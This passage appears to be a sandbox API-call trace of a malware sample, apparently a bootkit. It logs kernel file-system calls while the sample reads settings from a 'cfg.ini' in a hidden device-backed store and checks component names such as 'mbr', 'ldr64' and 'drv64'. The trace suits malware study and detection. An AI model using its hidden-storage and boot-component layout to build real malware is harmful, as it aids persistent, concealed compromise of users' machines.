Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.936] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.936] IdePortDispatch () returned 0x103 [0129.936] KeWaitForMutexObject () returned 0x0 [0129.936] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.936] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.936] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.936] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.936] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.936] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.936] KeLeaveCriticalRegion () [0129.936] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.936] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.936] KeEnterCriticalRegion () [0129.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.936] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.936] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.936] KeLeaveCriticalRegion () [0129.936] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.936] KeEnterCriticalRegion () [0129.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.936] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.936] IdePortDispatch () returned 0x103 [0129.937] KeWaitForMutexObject () returned 0x0 [0129.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.937] KeLeaveCriticalRegion () [0129.937] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.937] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.937] KeEnterCriticalRegion () [0129.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.937] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf7000 [0129.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.937] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.937] IdePortDispatch () returned 0x103 [0129.937] KeWaitForMutexObject () returned 0x0 [0129.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.937] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.937] IdePortDispatch () returned 0x103 [0129.937] KeWaitForMutexObject () returned 0x0 [0129.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.938] KeLeaveCriticalRegion () [0129.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.938] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.938] KeEnterCriticalRegion () [0129.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.938] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.938] KeLeaveCriticalRegion () [0129.938] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.938] KeEnterCriticalRegion () [0129.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.938] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.938] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01830, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.938] KeLeaveCriticalRegion () [0129.938] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.938] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.938] KeEnterCriticalRegion () [0129.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.938] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.939] KeLeaveCriticalRegion () [0129.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.939] ReleaseMutex (hMutex=0xf0) returned 1 [0129.939] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.939] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.939] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.939] KeEnterCriticalRegion () [0129.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.939] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.939] IdePortDispatch () returned 0x103 [0129.939] KeWaitForMutexObject () returned 0x0 [0129.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.939] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.939] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.939] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.939] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.939] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfdd30 [0129.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.939] KeLeaveCriticalRegion () [0129.939] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.939] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.939] KeEnterCriticalRegion () [0129.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.939] KeLeaveCriticalRegion () [0129.939] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.939] KeEnterCriticalRegion () [0129.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.940] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.940] IdePortDispatch () returned 0x103 [0129.940] KeWaitForMutexObject () returned 0x0 [0129.940] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.940] KeLeaveCriticalRegion () [0129.940] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.940] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.940] KeEnterCriticalRegion () [0129.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.940] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf8000 [0129.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.940] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.940] IdePortDispatch () returned 0x103 [0129.940] KeWaitForMutexObject () returned 0x0 [0129.940] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.940] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.940] IdePortDispatch () returned 0x103 [0129.941] KeWaitForMutexObject () returned 0x0 [0129.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.941] KeLeaveCriticalRegion () [0129.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.941] KeEnterCriticalRegion () [0129.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.941] KeLeaveCriticalRegion () [0129.941] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.941] KeEnterCriticalRegion () [0129.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.941] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.941] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.941] KeLeaveCriticalRegion () [0129.941] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.942] KeEnterCriticalRegion () [0129.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.942] ExFreePoolWithTag (P=0xfffffa8003bfdd30, Tag=0x0) [0129.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.942] KeLeaveCriticalRegion () [0129.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.942] ReleaseMutex (hMutex=0xf0) returned 1 [0129.942] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.942] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.942] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.942] KeEnterCriticalRegion () [0129.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.942] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.942] IdePortDispatch () returned 0x103 [0129.942] KeWaitForMutexObject () returned 0x0 [0129.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.942] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.942] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.942] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.942] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.942] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07f60 [0129.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.942] KeLeaveCriticalRegion () [0129.942] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.942] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.942] KeEnterCriticalRegion () [0129.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.942] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.942] KeLeaveCriticalRegion () [0129.942] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.943] KeEnterCriticalRegion () [0129.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.943] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.943] IdePortDispatch () returned 0x103 [0129.943] KeWaitForMutexObject () returned 0x0 [0129.943] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.943] KeLeaveCriticalRegion () [0129.943] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.943] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.943] KeEnterCriticalRegion () [0129.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.943] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cf9000 [0129.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.943] IdePortDispatch () returned 0x103 [0129.943] KeWaitForMutexObject () returned 0x0 [0129.943] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.943] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.943] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.943] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.943] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.943] IdePortDispatch () returned 0x103 [0129.944] KeWaitForMutexObject () returned 0x0 [0129.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.944] KeLeaveCriticalRegion () [0129.944] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.944] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.944] KeEnterCriticalRegion () [0129.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.944] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.944] KeLeaveCriticalRegion () [0129.944] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.944] KeEnterCriticalRegion () [0129.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.944] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.944] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c08dd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.944] KeLeaveCriticalRegion () [0129.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.945] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.945] KeEnterCriticalRegion () [0129.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.945] ExFreePoolWithTag (P=0xfffffa8003c07f60, Tag=0x0) [0129.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.945] KeLeaveCriticalRegion () [0129.945] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.945] ReleaseMutex (hMutex=0xf0) returned 1 [0129.945] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.945] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.945] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.945] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.945] KeEnterCriticalRegion () [0129.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.945] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.945] IdePortDispatch () returned 0x103 [0129.945] KeWaitForMutexObject () returned 0x0 [0129.945] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.945] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.945] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.945] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.945] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.945] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.945] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.945] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.945] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.945] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.945] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.945] KeLeaveCriticalRegion () [0129.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.946] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.946] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.946] KeEnterCriticalRegion () [0129.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: 